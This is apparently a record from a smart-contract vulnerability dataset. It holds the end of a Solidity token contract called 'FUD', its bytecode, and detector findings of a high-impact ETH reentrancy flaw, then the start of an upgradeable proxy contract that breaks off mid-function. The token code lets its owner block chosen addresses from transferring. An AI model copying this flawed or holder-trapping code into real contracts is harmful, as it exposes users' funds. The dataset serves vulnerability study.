(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b4b565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612675565b610492565b6040516101839190612b30565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612ccd565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612622565b6104c2565b6040516101eb9190612b30565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612588565b61059b565b005b34801561022957600080fd5b5061023261068b565b60405161023f9190612d42565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a91906126fe565b610694565b005b34801561027d57600080fd5b50610286610746565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612588565b6107b8565b6040516102bc9190612ccd565b60405180910390f35b3480156102d157600080fd5b506102da610809565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612758565b61095c565b005b34801561031157600080fd5b5061031a6109fd565b6040516103279190612a62565b60405180910390f35b34801561033c57600080fd5b50610345610a26565b6040516103529190612b4b565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612675565b610a63565b60405161038f9190612b30565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126b5565b610a81565b005b3480156103cd57600080fd5b506103d6610bab565b005b3480156103e457600080fd5b506103ed610c25565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612758565b611185565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125e2565b611226565b60405161044c9190612ccd565b60405180910390f35b60606040518060400160405280601a81526020017f4665617220556e6365727461696e747920616e6420446f756274000000000000815250905090565b60006104a661049f6112ad565b84846112b5565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006104cf848484611480565b610590846104db6112ad565b61058b8560405180606001604052806028815260200161342060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105416112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195e9092919063ffffffff16565b6112b5565b600190509392505050565b6105a36112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790612c2d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069c6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072090612c2d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107876112ad565b73ffffffffffffffffffffffffffffffffffffffff16146107a757600080fd5b60004790506107b5816119c2565b50565b6000610802600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abd565b9050919050565b6108116112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089590612c2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099d6112ad565b73ffffffffffffffffffffffffffffffffffffffff16146109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ea90612b8d565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4655440000000000000000000000000000000000000000000000000000000000815250905090565b6000610a77610a706112ad565b8484611480565b6001905092915050565b610a896112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0d90612c2d565b60405180910390fd5b60005b8151811015610ba757600160066000848481518110610b3b57610b3a61308a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b9f90612fe3565b915050610b19565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bec6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610c0c57600080fd5b6000610c17306107b8565b9050610c2281611b2b565b50565b610c2d6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190612c2d565b60405180910390fd5b600f60149054906101000a900460ff1615610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612cad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de157600080fd5b505afa158015610df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1991906125b5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7b57600080fd5b505afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb391906125b5565b6040518363ffffffff1660e01b8152600401610ed0929190612a7d565b602060405180830381600087803b158015610eea57600080fd5b505af1158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2291906125b5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fab306107b8565b600080610fb66109fd565b426040518863ffffffff1660e01b8152600401610fd896959493929190612acf565b6060604051808303818588803b158015610ff157600080fd5b505af1158015611005573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102a9190612785565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112f929190612aa6565b602060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611181919061272b565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c66112ad565b73ffffffffffffffffffffffffffffffffffffffff161461121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390612b8d565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612c8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612bcd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612ccd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612c6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612b6d565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612c4d565b60405180910390fd5b6115ab6109fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161957506115e96109fd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561194e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117cc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e45750600f60179054906101000a900460ff165b15611894576010548111156117f857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184357600080fd5b601e426118509190612e03565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061189f306107b8565b9050600f60159054906101000a900460ff1615801561190c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119245750600f60169054906101000a900460ff165b1561194c5761193281611b2b565b6000479050600081111561194a57611949476119c2565b5b505b505b611959838383611db3565b505050565b60008383111582906119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d9190612b4b565b60405180910390fd5b50600083856119b59190612ee4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a12600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a3d573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a8e600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ab9573d6000803e3d6000fd5b5050565b6000600854821115611b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afb90612bad565b60405180910390fd5b6000611b0e611e0d565b9050611b238184611dc390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6357611b626130b9565b5b604051908082528060200260200182016040528015611b915781602001602082028036833780820191505090505b5090503081600081518110611ba957611ba861308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4b57600080fd5b505afa158015611c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8391906125b5565b81600181518110611c9757611c9661308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cfe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d62959493929190612ce8565b600060405180830381600087803b158015611d7c57600080fd5b505af1158015611d90573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dbe838383611e38565b505050565b6000611e0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612003565b905092915050565b6000806000611e1a612066565b91509150611e318183611dc390919063ffffffff16565b9250505090565b600080600080600080611e4a876120cb565b955095509550955095509550611ea886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89816121db565b611f938483612298565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff09190612ccd565b60405180910390a3505050505050505050565b6000808311829061204a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120419190612b4b565b60405180910390fd5b50600083856120599190612e59565b9050809150509392505050565b60008060006008549050600069d3c21bcecceda1000000905061209e69d3c21bcecceda1000000600854611dc390919063ffffffff16565b8210156120be5760085469d3c21bcecceda10000009350935050506120c7565b81819350935050505b9091565b60008060008060008060008060006120e88a600a54600b546122d2565b92509250925060006120f8611e0d565b9050600080600061210b8e878787612368565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195e565b905092915050565b600080828461218c9190612e03565b9050838110156121d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c890612bed565b60405180910390fd5b8091505092915050565b60006121e5611e0d565b905060006121fc82846123f190919063ffffffff16565b905061225081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122ad8260085461213390919063ffffffff16565b6008819055506122c88160095461217d90919063ffffffff16565b6009819055505050565b6000806000806122fe60646122f0888a6123f190919063ffffffff16565b611dc390919063ffffffff16565b90506000612328606461231a888b6123f190919063ffffffff16565b611dc390919063ffffffff16565b9050600061235182612343858c61213390919063ffffffff16565b61213390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238185896123f190919063ffffffff16565b9050600061239886896123f190919063ffffffff16565b905060006123af87896123f190919063ffffffff16565b905060006123d8826123ca858761213390919063ffffffff16565b61213390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124045760009050612466565b600082846124129190612e8a565b90508284826124219190612e59565b14612461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245890612c0d565b60405180910390fd5b809150505b92915050565b600061247f61247a84612d82565b612d5d565b905080838252602082019050828560208602820111156124a2576124a16130ed565b5b60005b858110156124d257816124b888826124dc565b8452602084019350602083019250506001810190506124a5565b5050509392505050565b6000813590506124eb816133da565b92915050565b600081519050612500816133da565b92915050565b600082601f83011261251b5761251a6130e8565b5b813561252b84826020860161246c565b91505092915050565b600081359050612543816133f1565b92915050565b600081519050612558816133f1565b92915050565b60008135905061256d81613408565b92915050565b60008151905061258281613408565b92915050565b60006020828403121561259e5761259d6130f7565b5b60006125ac848285016124dc565b91505092915050565b6000602082840312156125cb576125ca6130f7565b5b60006125d9848285016124f1565b91505092915050565b600080604083850312156125f9576125f86130f7565b5b6000612607858286016124dc565b9250506020612618858286016124dc565b9150509250929050565b60008060006060848603121561263b5761263a6130f7565b5b6000612649868287016124dc565b935050602061265a868287016124dc565b925050604061266b8682870161255e565b9150509250925092565b6000806040838503121561268c5761268b6130f7565b5b600061269a858286016124dc565b92505060206126ab8582860161255e565b9150509250929050565b6000602082840312156126cb576126ca6130f7565b5b600082013567ffffffffffffffff8111156126e9576126e86130f2565b5b6126f584828501612506565b91505092915050565b600060208284031215612714576127136130f7565b5b600061272284828501612534565b91505092915050565b600060208284031215612741576127406130f7565b5b600061274f84828501612549565b91505092915050565b60006020828403121561276e5761276d6130f7565b5b600061277c8482850161255e565b91505092915050565b60008060006060848603121561279e5761279d6130f7565b5b60006127ac86828701612573565b93505060206127bd86828701612573565b92505060406127ce86828701612573565b9150509250925092565b60006127e483836127f0565b60208301905092915050565b6127f981612f18565b82525050565b61280881612f18565b82525050565b600061281982612dbe565b6128238185612de1565b935061282e83612dae565b8060005b8381101561285f57815161284688826127d8565b975061285183612dd4565b925050600181019050612832565b5085935050505092915050565b61287581612f2a565b82525050565b61288481612f6d565b82525050565b600061289582612dc9565b61289f8185612df2565b93506128af818560208601612f7f565b6128b8816130fc565b840191505092915050565b60006128d0602383612df2565b91506128db8261310d565b604082019050919050565b60006128f3600c83612df2565b91506128fe8261315c565b602082019050919050565b6000612916602a83612df2565b915061292182613185565b604082019050919050565b6000612939602283612df2565b9150612944826131d4565b604082019050919050565b600061295c601b83612df2565b915061296782613223565b602082019050919050565b600061297f602183612df2565b915061298a8261324c565b604082019050919050565b60006129a2602083612df2565b91506129ad8261329b565b602082019050919050565b60006129c5602983612df2565b91506129d0826132c4565b604082019050919050565b60006129e8602583612df2565b91506129f382613313565b604082019050919050565b6000612a0b602483612df2565b9150612a1682613362565b604082019050919050565b6000612a2e601783612df2565b9150612a39826133b1565b602082019050919050565b612a4d81612f56565b82525050565b612a5c81612f60565b82525050565b6000602082019050612a7760008301846127ff565b92915050565b6000604082019050612a9260008301856127ff565b612a9f60208301846127ff565b9392505050565b6000604082019050612abb60008301856127ff565b612ac86020830184612a44565b9392505050565b600060c082019050612ae460008301896127ff565b612af16020830188612a44565b612afe604083018761287b565b612b0b606083018661287b565b612b1860808301856127ff565b612b2560a0830184612a44565b979650505050505050565b6000602082019050612b45600083018461286c565b92915050565b60006020820190508181036000830152612b65818461288a565b905092915050565b60006020820190508181036000830152612b86816128c3565b9050919050565b60006020820190508181036000830152612ba6816128e6565b9050919050565b60006020820190508181036000830152612bc681612909565b9050919050565b60006020820190508181036000830152612be68161292c565b9050919050565b60006020820190508181036000830152612c068161294f565b9050919050565b60006020820190508181036000830152612c2681612972565b9050919050565b60006020820190508181036000830152612c4681612995565b9050919050565b60006020820190508181036000830152612c66816129b8565b9050919050565b60006020820190508181036000830152612c86816129db565b9050919050565b60006020820190508181036000830152612ca6816129fe565b9050919050565b60006020820190508181036000830152612cc681612a21565b9050919050565b6000602082019050612ce26000830184612a44565b92915050565b600060a082019050612cfd6000830188612a44565b612d0a602083018761287b565b8181036040830152612d1c818661280e565b9050612d2b60608301856127ff565b612d386080830184612a44565b9695505050505050565b6000602082019050612d576000830184612a53565b92915050565b6000612d67612d78565b9050612d738282612fb2565b919050565b6000604051905090565b600067ffffffffffffffff821115612d9d57612d9c6130b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e0e82612f56565b9150612e1983612f56565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e4e57612e4d61302c565b5b828201905092915050565b6000612e6482612f56565b9150612e6f83612f56565b925082612e7f57612e7e61305b565b5b828204905092915050565b6000612e9582612f56565b9150612ea083612f56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ed957612ed861302c565b5b828202905092915050565b6000612eef82612f56565b9150612efa83612f56565b925082821015612f0d57612f0c61302c565b5b828203905092915050565b6000612f2382612f36565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f7882612f56565b9050919050565b60005b83811015612f9d578082015181840152602081019050612f82565b83811115612fac576000848401525b50505050565b612fbb826130fc565b810181811067ffffffffffffffff82111715612fda57612fd96130b9565b5b80604052505050565b6000612fee82612f56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130215761302061302c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133e381612f18565b81146133ee57600080fd5b50565b6133fa81612f2a565b811461340557600080fd5b50565b61341181612f56565b811461341c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220916870db255657acb7df0de754986a119c24958cd4ef2c81acb0470c1281e65864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,167 |
0x00832130896b1992f6be24A4130e5e1e56d29d65
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
